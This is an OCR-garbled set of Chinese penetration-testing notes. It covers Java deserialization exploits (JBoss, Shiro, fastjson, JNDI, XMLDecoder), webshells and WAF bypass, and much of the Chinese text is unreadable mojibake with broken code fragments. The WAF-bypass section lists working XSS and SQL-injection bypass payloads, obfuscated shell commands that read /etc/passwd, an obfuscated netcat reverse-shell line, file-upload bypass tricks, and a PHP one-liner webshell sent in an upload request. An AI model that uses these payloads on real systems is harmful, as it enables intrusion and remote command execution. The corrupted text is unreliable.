BB 0 47U i B AT

exp:

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

Ldap
i T Eldap admin& 3£ B0 7]

77 0 15 it -

https://www.cnblogs.com/mrhonest/p/10948657.html --Ei

https://blog.csdn.net/u@11607971/article/details/86378361  --EH 7k

R B4 -

https://github.com/flveT/VulScan/find/master --Vulscan

https://github.com/ysrc/xunfeng/tree/master/vulscan/vuldb --vuldb

2.2.2.2 JBOSSk #ALi I

Jboss K FEAL

vulhub¥®iFF & FTAE B, 5 RSB : vulhub-jboss-cve-2017-7504
V7 i11 80803 H o 5 % i sk vl HE

linux-kali-exp



git clone https://github.com/joaomatosf/jexboss
cd jexboss
python jexboss py

dayu@kali: ~ 80x53

Examples: [for more options, type python jexboss.py -h]

For simple usage, you must provide the host name or IP address you
want to test [-host or -u]:

For Java Deserialization Vulnerabilities in HTTP POST parameters.
This will ask for an IP address and port to try to get a reverse shell:

For Java Deserialization Vulnerabilitilies in a custom HTTP parameter and
to send a custom command to be executed on the exploited server:

TRwv h q;‘-"qlqg,[:sdn,r|erf'uu_fi4tﬁl)‘l 745

python3 jexboss.py IP+port

PAT TRASKEKEN—THE, ARFERSERLER: VULNERABLE(S 2K EK), TAMSRERIES ZHBEHM A, #
1TFIA

WRIGEFEYES, W LLIRSshell T

2z

B

1% F ProcessBuilder




ProcessBuilder pb=new ProcessBuilder(cmd);
pb.start();

1 FdRuntime
Runtime.getRuntime().exec(cmd)

Wt R Y L EemdSHEMEBR T, HFEEGSPITHRIEE. ERERER, TRERRKKLETBER S javadr & HAT KRR,
T RwindowsiERINWIRE T, A |, <, >FEFSHHIRINEEFRIT. FIUSRBMHNREEEZXHNRA

=5
ix B R yH# T R java. lang, Runtime#texecI & 77, execlIigiE 77 vEA LA R JLMHE M, LR IE A N B IRA TR BLX
SET, —ARMBYE String command, WEEBEBEEN—ANFERE, BH—ARMBIE String cmdarrayu], HELREAN—AEEH

= EA1ERuntime.getRuntime{}.exec{} FIJ&Z 5£bx Lt 2 ProcessBuilder
getRuntime{}.exec{} i1 BH /5 N 745 #2433 String Tokenizerf 4%, #HMBIF L EAEERANER

https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html

TRAH TR T X R SR U
zé\%:

HiZjavaC & REME S PATHI ZE R, JOKW @V 23T checkExec, AT dir& BINLHIHR (XU & I AT dr & Bl
HIZE—A>, T BaAT)E B TR R BRI ARHITEF KIS, Fril getRuntime().exec() i3 1 N F4F 8§ 44T iy < I 1%,
RLiZREBRBHERZR, AT ERTRSIRXFGLAGEERENER

FrbAfEJava F B R E 4 M7, HSB R TR, HRAE—ALE R LA 1E, 8 3UF Fbase64 M 4w ig 75
3, windows T 7] LAf# A powershllffibase64

Javalt) = 7 FIALHEZE R FHHE SR yso, DA K —EshiroiX 2 & 7 514k 5 BB Ay 23T 52 Br B 1R £ 2 F T getRuntimeSki& 2 iy & AT HI
B, HBGRIMNEERE, TEALBRKESE, PITEXAGLSSHABITAT

Reference

sh-or-getting-shell-environment-from

2.2.3.2 Shirojz ¢ 54 id %
IR RS

https://cloud.tencent.com/developer/article/1078421

https://blog.knownsec.com/2016/08/apache-shiro-java/

Reference

Pwn a CTF Platform with Java JRMP Gadget

https://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
https://open.appscan.io/article-862.html
https://www.jianshu.com/p/f10ad968elb2

2% P FR“% E— Shiro1.2.4(SHROB50)IR R 2 & it F %

RO R, WEEDE

Apache Shiro Java % ¥ 5 {3 2t



https://blog.knownsec.com/2016/08/apache-shiro-java/
https://bacde.me/post/Apache-Shiro-Deserialize-Vulnerability/

2.2.3.3 RMI-x 7 514k,

2%
RME J5 3C#

https://xz.aliyun.com/t/4711#toc-3 ---REZEKIAVARFFILAI]
javaZ&Eik-04RMES (1)  ----WREF A LiFdayu R E
javaZ &i8ike4.RMES (2)  --%IRE| (2) ....

2.2.3.4 JNDEE A

2% (W, FMREX, K

://www.freebuf.com/vuls/115849.html  --IndivEA KSpring RCEJEIF T
://www.veracode.com/blog/research/exploiting-jndi-injections-java --fEJavasrFFINDIVEN
://kingx.me/Restrictions-and-Bypass-of-INDI-Manipulations-RCE.html - -4{a 5% i ki A JDK I BR il 3£ 4T INDIE A FI H

://www.jianshu.com/p/2accc2840alb - - WA 45 ¥ BB 4 RRPC
://www.freebuf.com/column/189835.html  ---ZFEAHEMEINDIVEN 5Iavax 754k IKTHF H

://www.cnblogs.com/wilburxu/p/9174353.html - - LDAPAERFI R 2 48
://www.jianshu.com/p/7e4d99f6baaf  --LDAPAJ]
://blog.csdn.net/caoyujiao520/article/details/82762097 --LDAPAI]f#

2.2.3.5 fastjsoni i & r

=
i

Fastiong—/NJavailE 55 M ST e EMJISONE .. BRA—MBReER FFHRELER" &%, HBISON Parse) 4 #E1R 2
e, R HArJavait s P RIRKIJSONE ., FastisonEAf®RGH, & EEHAEZFEFF. Wi E. Wekit
Android % ' s 2 Fh N 37 5

SEEE

https://www.freebuf.com/column/207439.html - --W{a %% /& iR A IDK ) PR #133E 4T INDIVE AN

=AMastjson1.2...fiAKIpoc, FEHMELHERES! 1!

2.2.3.6 CVE-2019-11043 PHPiZ 2B $h AT B I
fai A



MERFEAEFRKARSHEROELRE XER—EHL

20194E10H22H, EAZER KR AT T —MPHP-FPMZEAL AT KIIRIFIEXP
ZIiF 2 Andrew DanaufE 5 LL SEf# ik —ECTFE B I &L, 17 HARAR 35 88 URL K I2 %05 S Y, AR 55IR [E 57 % R I H IR

20194E9H26H, PHPE 5 RAARIFE S HH et H Nginx + php-fom ) ik %23 76 5 4 it B T A 5 m FRAREHAT IR IR Bz B
B8 RZEH, EERK, BB ZHEXRTACEATT

Githubith sk 211 F

https:/github.com/neex/phuip-fpizdam

TERE, WEEHRK.JGH! 1!

2.2.3.7 java webshell A\ A [ TR BR R 5115t 55
A RH L E AR FARSN, 1E 708 A TR H R 38 & Ewebshel BN 2 At A\ B 3k
WE

ARH|, FEMwebshelZfli. webshellfjbypasstiAR (REEFE. MEE. hookmikik) . FBEKMwebshell 4t (FT A HHF
K Ba R webshell. A fEshell) 05 MK KX Fijavat webshell #I7E 3

B3]
java webshellfh 2%

DIE RIS P2, FTRECRENTINE A, EERjsp, jspx FIfsiABARE, W tomcatZaH, BRIAGEFHENTINZ)
SHACELRINEERES T

<jsp-config>
<jsp-property-group>
<url-pattern>*.jspx</url-pattern>
<url-pattern>*.jsp</url-pattern>
<scripting-invalid>true</scripting-invalid>

</Jjsp-property-group>

</jsp-config>

1E B 81 % W webshelf G ITF K, X E 5T JLK:

BFE P — A4S webshll (ELIn3ET]. dKi&. (81, cTI&EHE LE i) « L1 REEER webshell (SEEEBITRZ
H) . Tunefgl1 (T socks5Whill i reGeorgz 251D « /NS (BRA#ITaSPAT. BAMBIT U EE/ LE%ETIRE). KRS
(ERT XHERE. APIT. SIEEERESZIRERD)

javath AT ar & 5 R
FEX W RATE B EAL ) Ay & HAT BRI, 0T F 22 707 35 BATHI 52 51 472 $UAT Hiwebshell

fEjavat, W ILHIRER AT A& B 77 K



javaZL it iwebshelldy £ #1047 77 =

f# /il java runtime exec()

F—FE WK, H javalang.Runtime KBTHAT REG W4, ZHEHME Bl L SFESER webshell #Bh T EE EITH
MER, TEEBMRwin FHlinux FEX XN, UELFEHZA M0SEHEGFHAER. TARINKEERB. £/ Runtime
%, A execth T4 iR Bl —/ ProcessXt % SR 5 J§ — A BufferedReaders, X}iR [B] 145 BT R Z R B AL . AT execkmt
BERERIER, WA < >EFSHNGLRTEMAUTREN T NETHAT, EXRES

BHi# T webshell X2 Be R A BB«
Java AT R G f &1 5 i A0 R B

FH ProcessBuilder %253 1 il

f#H Java [ E L g2 R

8 Java ZE L St A

3R18 Class Xt 5 [ U7 7532

https://cloud.tencent.com/developer/article/1180753  --FlfJavaREASMEBHLHISeLISP)E TR

https://javasec.org/javase/ --%4&J]

BR T Javaz 5 Al

E X

java R WK REBITRE S, X FER—AK, HEREIEXNKMHFERBEMTE;

TFEER—INER, Heg R ErERTENBEYE: XM REUE B LRSI X R ThRERR Ajavail 5 iR H L]

javal 94 K iI3K:

cassK: RRKKISLE, BT HIIavaM TR 7 R A D
Field3s: MRARRHIMAZE CRKJEM)

Method2k: KRB HIE
Constructorzk: RRBMMIETE

Class & WAL 1

1) FREUH AR 7

for Name(String className): 1R #8242 & B 2K () 5%t 5
getName(): R1FRM TR T

2) FREUE AR AR

getFields(): RBBEAB BT ZR
getDeclaredFields(): 378 FiH J& %t & (7 Declared i) 7T LAZKEX EFA A private)

3) RBHEP I

getMethods(): KRG IZETE AF R HE

getDeclaredMethod( String name, Class...<?> parameterTypes): 3K15i%HEAJ7%:
getDeclaredMethods(): #K18 %K TA ik

Fedk% WAE Y

equals(Object obj): J& 5 obtH % N3 [Ftrue
get(Object obj): 3K1FobjH X} 57 i) J& A8

set(Object obj, Object value): #t B objH %} 5 J& P

Method3&



invoke(object obj, Object...args) 1£i# objectit 5 K& 2 i F 1% %t G5t B i 7 2%
Constructorzk

newlnstance(Object...initargs): RIEAEE KIS HEIEIKKIN 5

2.2.3.8 & 3t XMLdecoder (dayu-T hird day)
Oraclezk T 1XA> xmldecoderid ik K F FICVE 4w 5 437 22 CVE2017-3506. CVE2017-10271. CVE2019-2725
B B KT CVE2017-3506 /1% T R R1R#E objecthn 25 #E4T T PR

T AR 38 3C 2 A #2855 R object® e plivoid B ], ‘EA15Lbr ERAZEMK, K EHIL T CVE-2017-10271, T4FXtCVE-
2017-10271HIAN TIRE T B BB HATHI T S

{HIXRCVE-2019-2725 X B R classtiZ, classirZE il # objecthre kA Bt R, F X YRIKFA A R B & xmidecoderft) il
TiAh Tt 2 & Xt class i ke b 72 1

https://blog.csdn.net/fnmsd/article/details/89889144  --fnmsdfE# -XMLDecoder @i iifs /1t

https://www.anquanke.com/post/id/180725 ---#&ikWeblogicxFF{k—XMLDecoderH]&eit s

REBEX, FEmA! 11!

2.2.3.9 FastJson x #5145

REXELENIEEL:

http://www.lmxspace.com/2019/06/29/FastIson- K752

Reference

fastjson-remote-code-execute-poc:
https://github.com/shengqil58/fastjson-remote-code-execute-poc

Fastjson 1.2.24RF5ILIRIRS
https://www.freebuf.com/vuls/178012.html

FastjsonkFFILIRTHAT 7T«
https://www.cnblogs.com/mrchang/p/6789060.html

Fastjsonx 7%tk 2z TemplatesImplif 5
https://pOrz9.github.i0/2019/05/12/Fastjsonx/7%l4tb 2z TemplatesImplif %%/

2.2.3.10 Oracle ##8 FE & & B % 2 xmlx 7 54t
53 32 R R A

https://my.oschina.net/u/4587690/blog/4452199

http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html



2.2.3.11 Webshell5s % 2 K AT 5 2
e Iy ik B

http://www.91ri.org/8700.html

EXP#lpoc:

https://github.com/yangyangwithgnu/bypass_disablefunc_via_ld_preload

2.2.3.12 Java T I XEE¥sH

ZICEYHE T java xml T K E823 IXE E IR SR B AR5 4 -

http://www.lmxspace.com/2019/10/31/Java-XXE- 45 --HHEE

https://xz.aliyun.com/t/3372 --BZRETUEE

Reference

Java XXEyEANEE A E YT 05
https://mp.weixin.qq.com/s/bTeJYzUN9T1u-KDZON5FiQ

ERIF I, IDKAIYT—MWxJava XXEFEAIRFF RIL T — A% IDKHIRE S
https://mp.weixin.qq.com/s/bTeJYzUN9T1lu-KDZON5FiQ

XML_External_Entity_Prevention_Cheat_Sheet:
https://cheatsheetseries.owasp.org/cheatsheets/XML_External Entity Prevention_Cheat_Sheet.html#Java

— AT Z AR IXXETRIRAE RIEE T R
https://gv7.me/articles/2019/a-widely-circulated-xxe-bug-fix/

JAVATH I X XE IR 5 v A B 4 «
https://blog.spoock.com/2018/10/23/java-xxe/

2.2.3.13 Solr Velocityt #i iz #2885 & 9 & R FH 45 v

https://www.secpulse.com/archives/117281.html --VE B 1
https://www.cnblogs.com/bmjoker/p/11778478.html
https://govuln.com/topic/501/ - -PAfiRFE

2.2.3.14 Solr-RCE-via-Velocity-template

http://www.lmxspace.com/2019/11/03/Solr-RCE-via-Velocity-template/

Reference

FIntellij idea#&#EsolrifiXFFiE:
https://www.jianshu.com/p/4ceeb2c20002

http://lucene.apache.org/solr/guide/6_6/velocity-response-writer.html

2.2.3.15 java webshell A\ '] B\ JR 2 51 2-B( B %} $i 2 Bypass- L 18

1) javax ffbypass



2) RETHIHERAR, 8IS & A A byte 7RG+ R 75 A TE & TAR TR ) R St B 2 A @ AT 5

3) java J&I]-unicodeZm g

2.2.3.16 java webshell )\ [T B A\ SR 2 51 3-B( B Xt Hi 2 Bypass-+H 5
HoAth 2 H3R A\ webshellff 5 T5tip

JavaWeb BEFL/E ] GZEFE T 8ICHD

Java URLClassLoader 2135 fkjarf webshell

openrasp (FFIERIHZATH B R IRP) Bypass

2.2.3.17 java webshell A\ '] 8\ Bk 2 51 4-B( B %} $i 2 Bypass- | i
XK H B HE TR EE A AR webshelff) JFH :

https://xz.aliyun.com/t/6550

2.2.3.18 Javax FF ST IR 5L (dayu-fourth day)

CVE-2017-3248
CVE-2017-3248

Bl 7 2

A LA7Eresolveclassfliresovleproxyclassiéin—s i 7546 S B 4 s 7

2.2.3.19 Apache Slors % 4 o B iz FE A BT I8 1 & I & jmx rmif] A 45 Hr

CVE-2019-12409

https://wemp.app/posts/008aebed-9eee-4fc4-911c-7c603c8b884arutm_source=bottom-latest-posts

P E MR ! !

2.2.3.20 javafy & 4T N

http://www.baizhiedu.com/article/1029

FEABEFRMRAR, TTEATLAMR!

2.2.3.21 JDKJx ¥ %1 4t. Gadgets-7u21

TR, HEMCE! !



://www.freebuf.com/vuls/175754.html

://blue.cn/archives/176.html

://gist.github.com/frohoff/24af7913611f8406eaf3

://sec.xiaomi.com/article/41

://www.cnblogs.com/rickiyang/p/11336268.html  ---javassistffifH&@ir

2.2.3.22 Weblogic-T 3-CVE-2019-2890-Analysis

TEHEI! !

2.2.3.23 spring-boot-actuators % B i

https://www.jianshu.com/p/3162ce30a853

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

2.2.3.24 SEMCMS2.6/5 & 30 b4 i 81 3

https://www.cesafe.com/html/6190.html

https://www.yir6.cn/Web/347.html --Admin/SEMCMS_Upfile.phpfRiE 43

2.2.3.25 {4 ¥ it 2 IvyecmsJa & getshell

https://www.wenwenya.com/anquan/516051.html
https://webcache.googleusercontent.com/search?q=cache:9JJuN-bvrgwl:https://www.secshi.com/22396.html+&cd=3&h1l=zh
-CN&ct=clnk&gl=hk

2.2.3.26 Log4j-Unserialize-Analysis

https://xz.aliyun.com/t/7004

https://my.oschina.net/u/4587690/blog/4452130

WETERNAE B! #EHNE T CVE-2019-17571. CVE-2017-5645

2.2.3.27 JAVAK 7 %14k, - FastJson4 #

R, WAEEZ! L k! L IXREGEE

2.2.3.28 Spring-securiy-oauth2 (CVE-2018-1260)



https://blog.spoock.com/2018/05/13/cve-2018-1260/

NEABREINRMU, THIIEE..

2.2.4 WAF-bypass (dayu-Fifth day)

— e FWAYST 75 7E,

Firewall Switch Web Application Switch Web Server

Firewall
SSL Connection Between Client and WAF SSL Between WAF and Web Server
. WAF Termirates SSL on both sides using it's owr

keys
» Self-signed and trusted certificate for internal web

sefver

i

o Normally 3™ party CA-issued certificate for web sice
for non-organizational users to maintain trust model

RELIP, i CDN
Zwaf— AT LUBIE 7 i
i#5ICDN

ping www.baidu.com

dig www.baidu.com

nslookup www.baidu.com

REFHUE K TAEREPREME

FERALHIP
DNS /7 sefgtric
TFHKDNSL iz, #HEJEEShosA-EIH .

http://site.ip138.com/www.baidu.com
https://dnsdb.io/zh-cn/
https://x.threatbook.cn/
http://toolbar.netcraft.com/site_report?url=

https://censys.io/ipv4?qgq=www.baidu.com

http://viewdns.info/

https://community.riskiq.com/home

https://securitytrails.com/list/apex_domain/jgbz.baidu.com



RSSHEF T &, 275 WB4F IS
—RE BB EELHIPHbE, EidrssTRM A, FTLAERBT FKE S+ EEIP
BRHEERGEREB-LEEF (unknownox.xx.xxIP])fE &

k4528 4 E K (DNSLOG)

https://www.cnblogs.com/Xy--1/p/12896599.html

FAMBETF®RLZE R
DNSHR &8 IBALE B

google Public DNS (8.8.8.8, 8.8.4.4)

OpenDNS (208.67.222.222, 208.67.220.220)
OpenDNS Family (208.67.222.123, 208.67.220.123)
Dyn DNS (216.146.35.35, 216.146.36.36)

Comodo Secure (8.26.56.26, 8.20.247.20)
UltraDNS (156.154.70.1, 156.154.71.1)
Norton ConnectSafe (199.85.126.10, 199.85.127.10)

httpsp# 4 521t
MWAFEIFIHEZE
(N z=waffair, —RENESSHEE BXiERINESIP,MM4EZ CONBGIF,

(2) X44R3ZGET. POSTEIATIERAT, #APOSTiZEE, MZM TCETIERNEZSSEEAN, RS
Bypass,

(3) HTTPHIHTTPSEIR FFIARSS, RBEMHTTPEIHTTPSHIESIBSE, SEHTTPSEWARRSI,
HTTPR BB, BIZIHEHTTPIE QG

(4) 14T S %00, 8 o wafiBZI%00& T, REEREZIRIHENSE, TEAREIEENESSHE
A, MimSEBypass, tball: id=1%00and 1=2 union select 1,2,column_ name from information_
schema. columns

S F: https://zhuanlan.zhihu.com/p/202628255

ssliF 581t

BTl -l — PMWAF A HHME 2 RS- 28 T B vk, 1 TLSV1 256 bits ECDHE-RSA-AES256-SHA. #t ] A& WAF GiEiR 5 5

curl --ciphers ECDHE-RSA-AES256-SHA https://waf-test.lab.local/ssl-cipher-test




FRBAER—IWAF AR 3215 {B 2R Z 8RB IFME %, KATLSV1 256 bits ECDHE-RSA-AES256-SHA, 5iR] IAEWAFTGEIRRI ST,

pwn@thinkpad:~$ curl --ciphers ECDHE-RSA-AES256-SHA https://waf-test.lab.local/ssl-cipher-test
<html lang=en>

<title>HELLO </title>

<p>Bypass worked</p>
pwn@thinkpad:~$

WAF R EEI T -
SSLv3

SSL_RSA_WITH_NULL_MD5
SSL_RSA_WITH_NULL_SHA
SSL_RSA_WITH_RC4_ 128 MD5
SSL_RSA_WITH_RC4 128 SHA
SSL_RSA_WITH_DES_CBC_SHA
SSL_RSA_WITH_3DES_EDE_CBC_SHA
SSL_RSA_EXPORT_WITH_RC4_40_MD5
SSL_RSA_EXPORT_WITH_DES40_CBC_SHA
TLS/1.0-1.2

TLS_RSA_WITH _NULL_SHA256
TLS_RSA_WITH_AES_128 CBC_SHA
TLS_RSA_WITH_AES_256_CBC_SHA
TLS_RSA_EXPORT1024 WITH_RC4_56_MD5
TLS_RSA_EXPORT1024_WITH_RC4 56_SHA
TLS_RSA_WITH_AES_128_CBC_SHA256
TLS_RSA_WITH_AES_256_CBC_SHA256
TLS_RSA_WITH_RC4_ 128 MD5 = { 0x000x04 }
TLS_RSA_WITH_RC4_ 128 SHA = { 0x000x05 }

TLS_RSA_WITH_DES_CBC_SHA = { 0x000x09 }

http://xdxd.love/2018/09/10/F|FSSL ) %t WAF 3L & 5311 /

method %3

1) & method, getfipost, post & Lf& (B cookiesfE{H )
2) & method AAFEM, Hindget, postAHELLLOXX%: (Fapachehi4)
+ii-hn —7 st 0 milah44Fd -




SEUH J ALBSYGRIHT | VHD

<?php

("../sql-connections/sql-connect.php");
error_reporting(e);

$id-$_GET['id'];

($_SERVER[ 'REQUEST_METHOD']~~"GET')

{
$id-str_ireplace("sleep","",$id);

($_SERVER[ 'REQUEST_METHOD' ]=="'POST")
{
$id-$_PosST['id'];
$id=str_ireplace("sleep”,"",%id);

}

$Sq1 "

echo $sql;

echo "<br>";

$result-mysql query($sql);

$row = mysql fetch_array($result);

IF ®payload:

GET/xxx/?id=1+and+sleep(3) HTTP/1.1

Raw | Params  Hesders e Raw | Headers | Hax | HTML | Renger

GET /sq abs/pass’/ index. php?id=1+and+sloep (3 HTTP/1 1
Heo 186 .
Us. L) ws NI Wi nds [
Ge SELECT * FROM users WHERE id=1 and (3) LINIT O 1}
Acc 120 color= BFFFF You are
text/himl asgplication/shiml*xnl app ation/mml ;g=0. 9. */*.¢=0. 8 n
Accept-Language 8FC sages/Less-Y. jpg
zh~CN_ zh.q"0. 8, zh-TW.g=0. 7, zh-HK.g"0. 5, en-US;q=0. J. en g0 2
Connaction: close
Upgr ade- Insecure-Roguests |
Cache—Control = max-age=0 l
Y | % e 0 matctes AN 0 gtz
Core 964 bytes | 1,039 mims

Leidpayload:

DigApis /xxx/?id=1+and+sleep(3)HTTP/1.1

Raw | Hessers Har HTML Rencer

ey HITR/1.1 @2
0.0 Windd: x
v 0) Gecke 01C o 0
Accopt: text/hs SELECT * FROM users WHERE id=1 and sleep(3) LIMIT 0,1
Accept-Language T TOTOr="3FTTT YoUare TN
zh=CN, zh;q=0. B, 2h-TH.q50. 7, zh-HK:q%0. 5, en-US.q%0. 3. en:q0. 2 colors "8 ff* font size font

Bre mages Le



| olj> 0 matches b b |

ERFERRGTTLIRANAN, ENBARINBA.

GET/xxx/?id=1+and+sleep(3) HTTP/1.1
DigApis /xxx/?id=1+and+sleep(3)HTTP/1.1

*%

Heard IP St

(—fRAEE, JEWAF)

X-forwarded-for: 127.0.0.1
X-remote-IP: 127.0.0.1
X-originating-IP: 127.0.0.1

X-remote-addr: 127.0.0.1

x-client-1p: 127.0.0.1

Heard content-type %2t

content-type H=%*
content-typest S At K
content-typehZJits EME——AKA, Hl application/ octet- stream (Hhimnzz£%)
content-typeBUBAFLN Htext /htmlxxxxxx
Content-Type: multipart/form-data ; boundary=0000
: mUltiPart/ForM-dATa; boundary=0000
: multipart/form-datax; boundary=0000
: multipart/form-data, boundary=0000
: multipart/form-data boundary=0000

: multipart/whatever; boundary=0000

: multipart/; boundary=0000

application/octet-stream;

XSS

FLAHH P B R ALE R



?id=alert(document[ 'cookie'])

?id=";location=1location.hash)//#0={};alert(0)

?id=%";eval(unescape(location))//#%0Aalert(0)

?id=<script<{alert(1)}/></script>

?id=<img src=x:alert(alt) onerror=eval(src) alt=0>

?id=%3cscript%3ealert(1)%3c%2fscript%3c

?id=<a href="javas&#99;ript&#35;alert(1);">

1d=%253c%2573%2563%2572%2569%2570%2574%253e%2561%256C%2565%2572%2574%2528%2531%2529%253c%2521%2573%2563%2572%256
9%2570%2574%253e

?id=<object+data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXBoOPg=="></object>

?1d=1234&"><script>alert(1)</script>=1234 HSH 4

HEAE 4B tnasp. php/EinEI A 4452
SENE:

https://www.cnblogs.com/lcamry/articles/5622244 . .html

SQL

] B ) DA B A PR SR A

T BORPERA | EERF | ERAS | HARER T | ME— BN R A B B
MSSQL| %2B (URLINS%4wiE) | -- | #%h5 | @@PACK_RECEIVED
MYSQL| %20 (URLZ#A&4wHS) [# / -- | f##h7m | CONNECTION_ID()
Oracle I %7C (URL™Z4mA%) | -- #5%h5 | BITAND(1,1)

PGsql | %7C (URLEZ4mtD) | -- |adl::int=1 | getpgusername()

Access | %26 (URLE55%ME) | N/A | f%F7% | msysobjects

i Gt wadZ A LA K B EEP iE N WA B Se (i Fand A o1& A

I 75 A e

HrREN:

FREFEN, RIELRAW]



?id=123+AND+1=1

?id=123+8&8&+1=1

?id="=’

?1d=123+AND+md5( “a’)!= md5( ‘A’)

?id=123+and+len(@@version)>1

?id=1’||1="1

?1d=123“+1like+'123

?id=123"+not+like+'1234

?id="aaa'<>'bbb'

?1d=123/*! union all select version() */--

?id=123/*lor*/1=1;

?id=(1)union(((((((select(1), hex(hash)from(users)))))))) - -7+ E S

?id=1+union+(select’1¢,concat(login,hash)from+users)

?id=1+%55nion(%53elect 1, 2, 3)-- -

?id=1/*1000000union*/select%0d%0a/*asdas/asd asasd*/version()

?id=1 union(select%@aall{x users}from{x ddd})

Mysql# F &8
TR AL




mid(password,1,1)="*"

mid(password,1,1)=0x2a

mid(password,1,1)=unhex('2a")

mid(password,1,1) regexp '[*]'

mid(password,1,1) like '*'

mid(password,1,1) rlike '[*]'

ord(mid(password,1,1))=42

ascii(mid(password,1,1))=42

find_in_set('2a',hex(mid(password,1,1)))=1

position(@x2a in password)=1

locate(ox2a,password)=1

substring((select 'password'),1,1) = 0x70

substr((select 'password'),1,1) = 0x70

mid((select 'password'),1,1) = 0x70

strcmp(left('password',1), 0X69)

strcmp(left('password',1), 0x70)

strcmp(left('password',1), 0x71)

C(REFS) DR\ (RFHD S

$ echo orleven
orleven

$ echo o'r'l'e'v'e'n'’
oreven

$ /b'i'n/c'a't/e't'c/p'a's's'w'd’
: X: ©: 0: root: /root:/bin/bash
1: 1: daemon: /usr/sbin: /usr/sbin/nologin
2: bin:/bin: /usr/sbin/nologin

$ /b\i\n/c\at /et'c'/pa's'swd
: X: ©: 0: root: /root: /bin/bash
1: 1: daemon: /usr/sbin: /usr/sbin/nologin
2: bin:/bin: /usr/sbin/nologin

H ~ 'ﬁmﬁ%ﬁ.
I 5 fe g R UL AT B M —— 2%




$ /b??/c?t /etc/??ss?d

: root: /root: /bin/bash
: 1: daemon: /usr/sbin: /usr/sbin/nologin

: bin:/bin: /usr/sbin/nologin

$ /?2?/n? -e /???/b??h 2130706433 1337 # /bin/nc -e /bin/bash 127.0.0.1 1337

SAHENRS

cat $u/etc$u/passwd$u
: @: 0: root: /root: /bin/bash

: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin

: 2: bin: /bin: /usr/sbin/nologin

mysgl:x:110:115:MySQL Serve,,,:/nonexistent:/bin/false

a.out go gobuster gopath soft sglmap.log tool

XA g
S 4 et

1) SCH4nE 2

2) shell.php(%80-%99).jpg %t

3) MEHFRALIEE, WG REERE S, B4

4) %00

5) 00 (hex)

6) K3rfE4 (windows 258byte | linux 4096byte ) , W HIEFRHF, Hnt & KFE
RSN

7) Eiy4

A Ja 2]

Php/php3/php/php5/php6/pht/phpt/phtml

asp/cer/asa/cdx/aspx/ashx/ascx/asax

jsp/jspx/ispf

et RIR

R 55 28 4R 1
1.2 ¥ RequestH FIA BEGRADHE 73 1 % £ H5
2.Request i A unicode & 72K 4T iR 1D

s



IS6.0 /MRt Eepe: HFE4L B Easp. .asa. .cerffiif, W% HZF T WA ¥ 1% Basp@th
1 a1

labc,asp/1.jpg 2 %41 /abc,asp AT HET
labc.php/1.jpg 2 % /abc.php AT f#HT

Apache1.X.2.Xf#& Hr ¥ i
ApachefE A ERAH, NS4 77 X2 MG R ETHRAY B4, EREApache ]R3 KY @4 M1k
Nginx

PLFNGInXE 2R HIRA T, bEfE—ANEwafa B B2 W B LA Hshell. jog, #8)5 Lshellj pg.phpit Tk

e Nginx 0.7 <= 0.7.65
e Nginx 0.8 <= 0.8.37

DL ENGInXBE2RHIRA T, bfE—ATfEwafa Rz B2 W B LA shelljpg, A5 Lhshelljpg%20.phpi 7&K

PHP CGl fi# tr & ¥

IIS 7.0/7.5
Nginx < 0.8.3

PA_E 2 28R A Hh BRA phpic B X g fix_pathinfo=1/), b —MEET B& BT R4 X shelljpg, 7ETE KIS LA
shell.jpg/shell.phpiE K, 2¥shelljpgphpRi#tT

https://xz.aliyun.com/t/337

ARG ketk: PANTFS ADSH; it

ADSRENTFSHRME R — Mk, A TNTFSEHBEER . £ EELSHR, nRwaff iR IE XK filenamelLACAS 24 i T BE &
FHLT

.asp.
.asp (&)

-php:1.jpg
.php: $DATA
-php_




EFER R RSB RERAR £RAXHAR

Test.php:a.jpg 4 f¥ Test.php =
Test.php::$DATA 4 i test.php <?php phpinfo();?>

Test.php::$INDEX_ALLOCA | 4 fitest.php>Cfsk

TION

Test.php::$DATA.jpg 4 5%0.jpg <?php phpinfo();?>

Test.php::$DATA\aaa.jpg 4 FXaaa.jpg <?php phpinfo();?>
SEYE,

https://xz.aliyun.com/t/1189

BRI A—B, Sidwaf GEABE AT =)
FAF RO T A2 A, HE Bt 25
AR

WebkitFormBoundaryFADasdasdasDdasd

Content-Disposition: form-data; name="file", filename=abc.php’;aaaaaaaaaaaaaaaa

Content-Type: application/octet-stream;

<?php phpinfo(); ?>
WebkitFormBoundaryFADasdasdasDdasd

X2k R g2t /Header k2K R
B M St /Headerk i) Content-Type, £ R Z1#:

Content-Type: application/x-www-form-urlencoded;

Content-Type: multipart/form-data;

Content-Type: application/octet-stream;

R AEHT BT A S



multipartfpil 1, —ANPOSTERAILAFR L2 2 A0, mE, #EZWAFRES —A b3, RERE LKA X,

T SE B J i 2 o = AT BT _EAR SO 44, B R 7 Epaylaod i 7E J& T K SCAFPART, BT Sgid

‘1x|2x|3x|4x|5x|3x|..|

Go Cance < > |¥

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

Target: http:11192.168.136.130 @ w

POST /dvwa/vulnerabilities/upload/ HTTE/L. L |‘
Host: 182.188.136.120

User-Agent: Mozillas5 0 (Windows NT 10 0; Winéd; xE4; rv:-E52.0) Gecko/20100101
Firefox/52.0

Acrcept: text/htnl,application/xhtnltxml, applicacion/xnl;gq=0_9,*/*;gq=0.8
Accept-Language: zh—CH,zh;q=0.8,en-US;q=0.5,en;q=0.3

Referer: http://152.1668.136.130/dvwa/valnerabilities upload/

Cookie: security=low; PHPEESEID=giSrélm73ucfudilpnblfesdud; safedog-flow-item=
Connection: close

Upgrade-Insecure-Recquests: 1

Content-Type: multipart/form-data;

boundary Z5E513059611555

Content-Length: €67

SRR D R e (s ]

CEE513059611555
Content-Disposition: form-data; name="MAX FILE_SIZE"

ooy

Z5ES5130559611555
Content-Disposition: form-data; name="uploaded"; filename="yijuhua.pha"
Content-Type: application/octet-stream

?php echo shell execif_GET['shy']);?=

Z5E5130559611555
Content-Disposition: form-data; name="uploaded"; filename="yijuhua.php]
Content-Type: application/octet-stream

?php echo shell execif_GET['shy']);?=

tps://blog.csdn.net/qq_32393893/article/details

T

a

~#  Content-Disposition . 4 4 & &

